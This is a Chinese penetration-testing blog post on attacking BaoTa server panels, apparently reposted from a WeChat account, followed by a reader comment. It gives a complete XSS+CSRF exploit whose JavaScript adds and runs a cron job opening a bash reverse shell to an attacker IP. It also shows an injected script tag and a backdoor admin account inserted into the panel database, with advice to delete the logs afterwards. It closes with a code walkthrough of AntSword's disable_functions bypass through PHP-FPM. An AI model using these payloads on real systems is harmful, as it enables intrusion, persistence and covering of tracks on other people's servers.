各位读者,好久不见,这段时间麋鹿甚是繁忙,以致于有一段时间未更新技术文章了。这几日看朋友圈中多位同仁分享雪景,突然发现已岁寒时深,恰巧又遇上流感,早晚清寒,大家记得勤添衣,望各位勿病安好。
零-文章目录
宝塔常见漏洞 |
phpmyadmin未授权 |
宝塔xss+csrf RCE |
|
宝塔维权手法 |
添加后门账号 |
bypass disable_functions手法 |
disable_functions and FastCGI/PHP_FPM前置知识 |
bypass disable_functions原理和插件使用 | |
bypass disable_functions插件代码分析 |
壹-宝塔常见漏洞
宝塔phpmyadmin未授权
1.漏洞介绍
公网无需鉴权直接 root 权限进入 phpmyadmin,IP或域名地址:888/pma
为什么要介绍这个洞呢,因为phpmyadmin这里好做文章,常见手法有into outfile写shell,日志get shell,UDF getshell,MOF提权,网上教程一大堆,这里麋鹿就不浪费大家时间了,不熟悉的读者可以百度一下
2.影响版本
3.复现流程
宝塔会自动升级,搭个环境还是有点浪费时间的,这里我推荐Timeline Sec团队Sky师傅制作的靶场(记得登录上去第一时间关闭宝塔的自动更新)
https://cloud.tencent.com/developer/article/1693184
复现也很简单
如果能直接访问到下面地址就是存在该洞了
http://ip:端口/pma
宝塔RCE
1.漏洞介绍and影响版本
1. 6.x版本记录了验证码错误并存入数据库当中(老版本)
2. <7.9.3版本宝塔会记录网站nginx日志,后台查看日志的地方可以XSS
2.复现流程
麋鹿选择7.9版本,如果已经安装高版本宝塔,需要还原成低版本
1,官网安装一个新版本,登录进去设置成离线
2.下载旧版本
yum install curlcurl -L https://github.com/weiwang3056/baota_release/blob/main/LinuxPanel/LinuxPanel-7.7.0.zip?raw=true > LinuxPanel-7.7.0.zip
3.解压
unzip LinuxPanel-7.7.0.zip
3.cd到panel目录执行更新脚本
bash update.sh
4.修改hosts防止官方更新
echo '127.0.0.1 bt.cn' >>/etc/hosts
ok,已经是旧版本了
5.随便创一个网站
6.UA里插一个xss弹窗
7.看日志,弹了
8.xss+csrf
开一个web服务,建一个js文件内容如下(记得把shell命令改成自己的ip和端口)
function addTask(TaskName, execTime, ip, port) {
var execShell = 'bash -i >& /dev/tcp/192.168.1.14/7777 0>&1';
execShell = encodeURIComponent(execShell);
var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined';
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=AddCrontab', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(params);
}
function execTask(TaskName) {
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=GetCrontab', true);
xhr.send();
xhr.onload = function () {
if (this.readyState == 4 && this.status == 200) {
var res = JSON.parse(this.responseText);
if (res[0].name == TaskName) {
var TaskID = res[0].id.toString();
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=StartTask', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var params = 'id=' + TaskID;
xhr.send(params);
delTask(res[0].id);
console.log(res[0].id);
return res[0].id;
}
}
}
}
function delTask(TaskID) {
var params = 'id=' + TaskID.toString();
var xhr = new XMLHttpRequest();
xhr.open('POST', '/crontab?action=DelCrontab', false);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
xhr.send(params);
}
var TaskName = Math.random().toString(36).substring(7);
addTask(TaskName, '5', '1.1.1.1', '53');
execTask(TaskName);
9.插入xss
</textarea><script src=http://192.168.1.3:8080/1.js></script>
ok,说完了宝塔常见的洞,现在来讲讲维权
贰-宝塔维权手法
1.前置知识
宝塔面板登录的信息存储在/www/server/panel/data/default.db中,很明显是个sqlite3文件
(顺便提一句,上面其他.pl文件的作用
开放端口对应port.pl
后台地址对应admin_path.pl
宝塔默认登录密码:对应default.pl)
其中账号密码存在users表中,对于password的加密方式为
md5(md5(md5(password)+’_bt.cn’)+salt)
其中password为明文密码,salt在users中的salt字段
现在用DB Browser for SQLite看一下
很明显salt为3D3cJrSqoSec,那我们尝试加密一下看看最终的值是否正确
# MD5 hashing with additional strings as per the provided pattern
original_text = "milu1234"
additional_string1 = "_bt.cn"
additional_string2 = "3D3cJrSqoSec"
# First MD5 hash
first_md5 = hashlib.md5(original_text.encode()).hexdigest()
# Second MD5 hash with additional string 1
second_md5 = hashlib.md5((first_md5 + additional_string1).encode()).hexdigest()
# Final MD5 hash with additional string 2
final_md5 = hashlib.md5((second_md5 + additional_string2).encode()).hexdigest()
final_md5
5bc8301dff105f3a6f6a7a0866d0420f
。
用上面代码得到的 MD5 哈希值是 5bc8301dff105f3a6f6a7a0866d0420f
,和表中结果一样,那么我们现在添加一个后门账号,账号名为admin,密码为123456,salt还是上面的3D3cJrSqoSec,用上面的脚本得到加密结果是4f4e1bf65ece412cf33ffb87fad3cd24
。把这个加入到users表里
尝试登录
进来了,对了,记得删日志,记录在default.db的log表里
ok,现在开始今天的硬菜–bypass disable_functions
叁-disable_functions and FastCGI/PHP_FPM前置知识
1.disable_functions是什么
disable_functions是php.ini
中的一个设置,就是一些危险的命令执行函数的黑名单。而宝塔会默认开disable_functions,这就会造成拿到webshell以后无法执行命令。
如何绕过?
之前麋鹿就发过一篇LD_PRELOAD的文章
https://mp.weixin.qq.com/s?__biz=MzkwNjUwNTg0MA==&mid=2247484214&idx=1&sn=0c00e6110d43ba82ac62296f808a119c&chksm=c0e63829f791b13f6561923d93725d070c0a0d27c48454d7fae47029d4e07596895421a0e47c&token=1554332763&lang=zh_CN#rd
今天再来说一下FastCGI/PHP_FPM的思路
首先,为什么要说这个东西呢,因为宝塔在安装php的时候默认安装PHP_FPM,如下图
2.FastCGI/PHP_FPM的前世今生
由来:PHP 最初是以模块形式运行在 Web 服务器上的,比如 Apache 的 mod_php。这种方式简单易用,但在高负载情况下性能不佳。为了解决这一问题,引入了 FastCGI 模式,PHP 通过 FastCGI 与 Web 服务器通信。
发展:PHP-FPM 是 FastCGI 的一个实现,它提供了更好的进程管理能力。它最早作为一个独立的项目出现,用于补充 PHP 核心中缺失的功能。随着时间的发展,由于其出色的性能和稳定性,PHP-FPM 被整合到了 PHP 核心中,从 PHP 5.3.3 版本开始成为 PHP 的一部分。
显而易见PHP-FPM 主要用于提高 PHP 应用程序的性能和稳定性。
3.FastCGI/PHP_FPM工作原理
1.与Web服务器分离:PHP-FPM 作为 FastCGI 的实现,与 Web 服务器(如 Nginx 或 Apache)分离。Web 服务器处理静态内容,而 PHP-FPM 负责处理动态 PHP 请求。
2.请求处理:当 Web 服务器接收到一个 PHP 请求时,它将请求通过 FastCGI 传递给 PHP-FPM。
3.进程管理:PHP-FPM 维护一个或多个子进程池。每个池可以有不同的配置,比如用户、进程数量和环境变量。
4.响应请求:子进程处理请求并将结果返回给 Web 服务器,Web 服务器再将结果发送给客户端。
5.动态调整:PHP-FPM 可以根据配置和服务器负载动态地调整子进程的数量。
FastCGI/PHP_FPM的特点
细心的读者可能注意到我在上面的介绍里加粗了几个关键词–和web服务器分离运行 and 有进程管理功能,是的,这些就是bypass的部分原理,下面麋鹿具体说说特点。
-
不同的执行环境:PHP-FPM 作为 FastCGI 进程管理器,与 Web 服务器(如 Nginx 或 Apache)分离运行。在某些配置和特定的环境下,PHP-FPM 可能会以不同的用户或权限组执行,这可能导致它对 PHP 配置文件(如 php.ini)的解释和应用不同于预期。
-
独立的子进程:PHP-FPM 管理多个子进程来处理 PHP 请求。每个子进程可以有自己的配置和环境变量。在某些情况下,特定的子进程可能不受主
php.ini
文件中disable_functions
指令的影响。 -
配置细节:如果 PHP-FPM 配置不当,某些进程池可能会忽略或覆盖
php.ini
中的设置。例如,如果某个进程池有自己的php.ini
文件或者通过 FPM 配置文件设置了特定参数,这些设置可能会绕过全局的disable_functions
设置。
4.FastCGI/PHP_FPM工作流程
-
客户端请求:
-
流程开始于客户端(例如一个网页浏览器)向 Web 服务器发送请求,这个请求可能是对 PHP 文件的调用,如
www.example.com/index.php
。 -
Web 服务器接收请求:
-
Web 服务器(如 Nginx)接收到对 PHP 文件的请求。
-
加载 FastCGI 模块:
-
Nginx 会加载 FastCGI 模块,这是它用来处理 PHP 文件的工具。
-
FastCGI 模块处理请求:
-
FastCGI 模块将收到的 HTTP 请求转换为 FastCGI 协议的请求。这个过程包括封装 HTTP 请求信息,如 GET/POST 数据、Cookies 和其他头信息。
-
请求转发至 PHP-FPM:
-
封装好的 FastCGI 请求被发送到 PHP-FPM 服务。
-
PHP-FPM 处理请求:
-
PHP-FPM 接收到请求后,根据 FastCGI 协议解析并创建或分配一个子进程来处理请求。
-
子进程执行 PHP 脚本,生成响应内容。这可能包括执行数据库查询、处理数据、生成 HTML 等。
-
发送响应回 Web 服务器:
-
一旦 PHP 脚本处理完毕,生成了响应(通常是 HTML),PHP-FPM 会将这个响应通过 FastCGI 协议发送回 Web 服务器。
-
Web 服务器返回响应给客户端:
-
Web 服务器接收到 PHP-FPM 的响应后,将其转换为 HTTP 响应,并发送回客户端(浏览器)。
-
客户端显示内容:
-
浏览器接收到来自 Web 服务器的响应后,解析并显示内容,完成整个请求-响应周期。
还是很好理解的,大家流程图和文字搭配理解(字丑见谅)
5.fastcgi协议
FastCGI 是一种常见的与 Web 服务器通信的协议,而FPM是Fastcgi的协议解析器。
当我们请求一个网页时,Nginx 会将 HTTP 请求转换为FastCGI 参数,这些参数会作为键值对传递给 FastCGI 处理程序–PHP-FPM。这些参数基本上是 CGI变量,它们包括了请求的所有重要信息。
FastCGI 消息类型
FastCGI 协议定义了多种消息类型,用于不同的操作,例如:
-
开始请求(Begin Request):初始化一个请求。
-
终止请求(End Request):结束一个请求。
-
参数(Params):发送请求参数,如 QUERY_STRING、REQUEST_METHOD 等。
-
标准输入(Stdin):发送请求主体,如 POST 数据。
-
标准输出(Stdout):发送响应内容。
-
标准错误(Stderr):发送错误信息。
-
数据(Data):发送额外的数据。
举个例子,当访问 www.milu.com/milu.php
时,web目录为/www/wwwroot/www.milu.com,键值对如下
-
SCRIPT_FILENAME
:/www/wwwroot/www.milu.com/milu.php
-
QUERY_STRING
: 请求的查询字符串(如果有的话,如?id=123
) -
REQUEST_METHOD
: 请求方法,例如GET
-
DOCUMENT_ROOT
:/www/wwwroot/www.milu.com
-
SCRIPT_NAME
:/milu.php
-
REQUEST_URI
:/milu.php
或者包含查询字符串的完整 URI -
DOCUMENT_URI
:/milu.php
-
SERVER_PROTOCOL
: 使用的协议版本,如HTTP/1.1
-
GATEWAY_INTERFACE
: CGI 版本,通常是CGI/1.1
-
SERVER_SOFTWARE
: Web 服务器软件及其版本,如nginx/1.18.0
-
REMOTE_ADDR
: 客户端的 IP 地址 -
REMOTE_PORT
: 客户端的端口 -
SERVER_ADDR
: 服务器的 IP 地址 -
SERVER_PORT
: Web 服务器监听的端口,通常是80
或443
-
SERVER_NAME
: 服务器名,这里是www.milu.com
p神有一篇文章里面提到一个用SCRIPT_FILENAME进行代码执行的思路,如下
https://www.leavesongs.com/PENETRATION/fastcgi-and-php-fpm.html?page=1#reply-list
但这个是以文件包含(包含SCRIPT_FILENAME值对应的文件)来进行执行,这个并不能bypass disable,因为这样还是会加载原先的php.ini,函数依然会被ban,那我们换一种思路:
如果我们生成一个我们自定义的so文件并上传到服务器,然后通过FPM加载这个so文件去创建一个web服务(这是通过设置 PHP 的环境变量PHP_VALUE
和 PHP_ADMIN_VALUE
来实现的),这个新的服务忽略php.ini,也就是说这个新的web服务里没有ban掉危险函数,里面根本就不存在disable functions了?然后我们把执行命令的流量转发到新的web服务上,那这样的话,我们不就能执行命令了?不久就bypass了吗?
ok,现在开始介绍上面的思路–也就是蚁剑bypass插件的原理
肆-bypass disable_functions原理和插件使用
再理一下思路
简单点来讲就是用PHP-FPM启动一个新WebServer,绕过了disable functions的检测
此方法适用于PHP-FPM/FCGI 监听在 unix socket 或者 tcp socket 上时使用。常见的比如: nginx + fpm,而IIS+FPM 使用的是「管道」通信,故不适用。
再来介绍一点刚才没聊到的前置知识
1,php.ini里的extension是什么
php.ini 文件中的 extension 指令用于加载自定义的 .so 文件,即自定义的 PHP 扩展。这使得我们可以为 PHP 添加额外的功能或集成第三方库。
一般这样指定
extension=/path/to/your/extension.so
2,宝塔里PHP-FPM的位置在哪
一般位于php/[版本号]/fpm/pool.d/
目录下,例如 php/7.4/fpm/pool.d/www.conf
3.PHP-FPM 的配置文件中 listen 参数是什么
listen
参数用于指定 PHP-FPM 监听的地址和端口或 Unix 套接字路径。这个参数决定了 Web 服务器(如 Nginx 或 Apache)如何与 PHP-FPM 进程通信。一般有两种形式
一为 IP 地址和端口组合,例
listen = 127.0.0.1:9000
二为 Unix 套接字的路径,例
listen = /tmp/php-cgi-74.sock
宝塔默认为第二种,如下图
4.那我再多说几句吧,listen = /tmp/php-cgi-74.sock这是啥意思呢
这意味着 PHP-FPM 使用的是一个 Unix 套接字,而不是 TCP 端口。在这种情况下,PHP-FPM 不会监听一个具体的“端口”,而是通过文件系统上的这个套接字来接收来自 Web 服务器(如 Nginx 或 Apache)的连接请求。
Unix 套接字(如/var/run/php/php7.4-fpm.sock
)是一种通信机制,允许在同一台机器上运行的不同进程(例如 Web 服务器和 PHP-FPM 进程)之间进行数据交换。与 TCP/IP 端口不同,Unix 套接字不使用网络层进行通信,而是在操作系统的文件系统层面上进行,因此它们通常更高效且具有更低的延迟。
ok,现在介绍一下蚁剑的这款插件
挂上代理就可以直接在插件市场里下载了
如何使用
-
先写一个一句话,名字为1.php,蚁剑连一下,发现不能执行命令
2.选中这个1.php,加载bypass插件
(不知道为什么截图好模糊)
3.选择模式和选项。如下图
然后可以看到马子目录多了一个php和so文件
4.再添加一个shell,就是刚才生成的.antproxy.php
5.成功执行命令,bypass disable_fluctions
ok,插件通过FPM bypass的原理以及说的很清楚了,下面我们一起来看看是如何通过代码实现的
伍-bypass disable_functions插件代码分析
插件项目地址如下
https://github.com/AntSword-Store/as_bypass_php_disable_functions
先看一下core/php_fpm/index.js
该js文件主要功能是和FPM通信,创建一个web server,和加载一个.so文件。我们来一个一个看这些功能对应的代码
1,FPM功能
// 导入 FastCGI 客户端,用于与 PHP-FPM 交互
const { FastCgiClient } = require('../../payload');
// PHP-FPM 连接配置
let fpm_host = '';
let fpm_port = -1;
formvals['fpm_addr'] = formvals['fpm_addr'].toLowerCase();
if (formvals['fpm_addr'].startsWith('unix:')) {
fpm_host = formvals['fpm_addr'];
} else if (formvals['fpm_addr'].startsWith('/')) {
fpm_host = `unix://${formvals['fpm_addr']}`
} else {
fpm_host = formvals['fpm_addr'].split(':')[0] || '';
fpm_port = parseInt(formvals['fpm_addr'].split(':')[1]) || 0;
}
// 构造 FastCGI 请求并发送到 PHP-FPM
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
'PHP_VALUE' => 'extension=${p}',
'PHP_ADMIN_VALUE' => 'extension=${p}',
),
$content
);
sleep(1);
echo(1);
`;
2.,生成.so文件并上传/core/base.js里
生成ext的generateExt函数如下
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0,
end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
case 'ant_x32.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
case 'ant_x32.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if (cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}
linux下生成.so
这里很有趣,ext里有对应的so和dll
而这些so和dll的内容也很有趣,用IDA反编译看一下so和dll的内容
同时generateExt()函数是这样调用的
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}`;
let fileBuffer = self.generateExt(cmd);
什么意思呢,就是直接把下面这条命令插到so或者dll里(写到cmd里)然后运行
let cmd =
${phpbinary} -n -S 127.0.0.1:${port} -t ${webrootdir}
具体一点命令长这样(下面会详细介绍)
/bin/sh -c php -n -S 127.0.0.1:60298-t /var/www/html
先剧透一下,就是创建一个“裸”的php server
具体一点来讲,流程如下
使用 fs.readFileSync
方法读取 ext
路径下的文件(so or dll文件)到 fileBuff
中。
将cmd命令插入到硬编码的起始和结束位置。
检查cmd命令长度是否超过预留的区域,不超过在文件的指定位置写入命令(因为cmd命令是固定的,所以一般不会超过该长度,预留区域就是ida反编译里comand那一块空白的地方)。
最后返回的文件包含原始的共享库内容和新插入的命令。
3,上传.so
// 上传 .so 文件
new Promise((res, rej) => {
var ext_path = `${wdir}/.${String(Math.random()).substr(2, 5)}${self.ext_name}`;
core.request(
core.filemanager.upload_file({
path: ext_path,
content: fileBuffer
})
)
// ... 后续 Promise 链
});
4,加载上传的.so文件并发生fastcgi请求
// 构造 FastCGI 请求并发送到 PHP-FPM
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9984',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'PHP_VALUE' => 'extension=${p}',
'PHP_ADMIN_VALUE' => 'extension=${p}',
'CONTENT_LENGTH' => strlen($content)
),
$content
);
5.和新的web服务通讯
exploit() {
// ... [代码省略] ...
new Promise((res, rej) => {
// ... [代码省略] ...
}).then((p) => {
// 触发 payload, 会超时
var payload = `${FastCgiClient()};
$content="";
$client = new Client('${fpm_host}',${fpm_port});
$client->request(array(
// FastCGI 请求参数
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD' => 'POST',
'SERVER_SOFTWARE' => 'php/fcgiclient',
'REMOTE_ADDR' => '127.0.0.1',
'REMOTE_PORT' => '9984',
'SERVER_ADDR' => '127.0.0.1',
'SERVER_PORT' => '80',
'SERVER_NAME' => 'mag-tured',
'SERVER_PROTOCOL' => 'HTTP/1.1',
'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
'PHP_VALUE' => 'extension=${p}',
'PHP_ADMIN_VALUE' => 'extension=${p}',
'CONTENT_LENGTH' => strlen($content)
),
$content
);
sleep(1);
echo(1);
`;
core.request({
_: payload,
}).then((response) => {
}).catch((err) => {
// 超时也是正常
})
}).then(() => {
// 验证是否成功开启
var payload = `sleep(1);
$fp = @fsockopen("127.0.0.1", ${port}, $errno, $errstr, 1);
if(!$fp){
echo(0);
}else{
echo(1);
@fclose($fp);
};`
core.request({
_: payload,
}).then((response) => {
// ... [代码省略] ...
}).catch((err) => {
// ... [代码省略] ...
})
}).catch((err) => {
// ... [代码省略] ...
});
// ... [代码省略] ...
}
js文件分析到此结束
最后来看一下生成的.antproxy.php内容如下
<?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 60298;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/1.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1rn";
$out .= "Host: ".$host.":".$port."rn";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."rn";
}
$out .= "Content-length:".strlen($post_data)."rn";
$out .= implode("rn",$headers);
$out .= "rnrn";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "rnrn");
$response = substr($response, $pos+4);
echo $response;
这段php代码实现了一个HTTP 代理功能,就是把我们的流量转发到60298端口(端口随机生成),让我们看看60298端口是个啥–运行了一个php server
pid为69186
解读一下返回结果
/bin/sh -c php -n -S 127.0.0.1:60298-t /var/www/html
-n
:让 PHP 忽略加载 php.ini
配置文件。这意味着 PHP 将运行在一个没有任何预设配置的“裸”环境中。也就是没有disable functions的环境。
到这里,一切都明朗的很,最终结果就是–执行命令的流量通过.antproxy.php转发到这个新的无disable的server上,就达到了bypass。
最后,不管是讨论问题还是吹水,都欢迎大家加我wx(公众号私信回复wx获取),同时,我更喜欢听到一些在上学的师傅问我学业or人生选择(感情问题也行)上的困惑,希望能帮到大家。
原文始发于微信公众号(麋鹿安全):浅谈宝塔渗透手法,从常见漏洞 聊到 宝塔维权 再到 bypass disable_functions原理
What’s up, I wish for to subscribe for this blog to take newest updates, thus where can i do it please help.
可以进行订阅rss.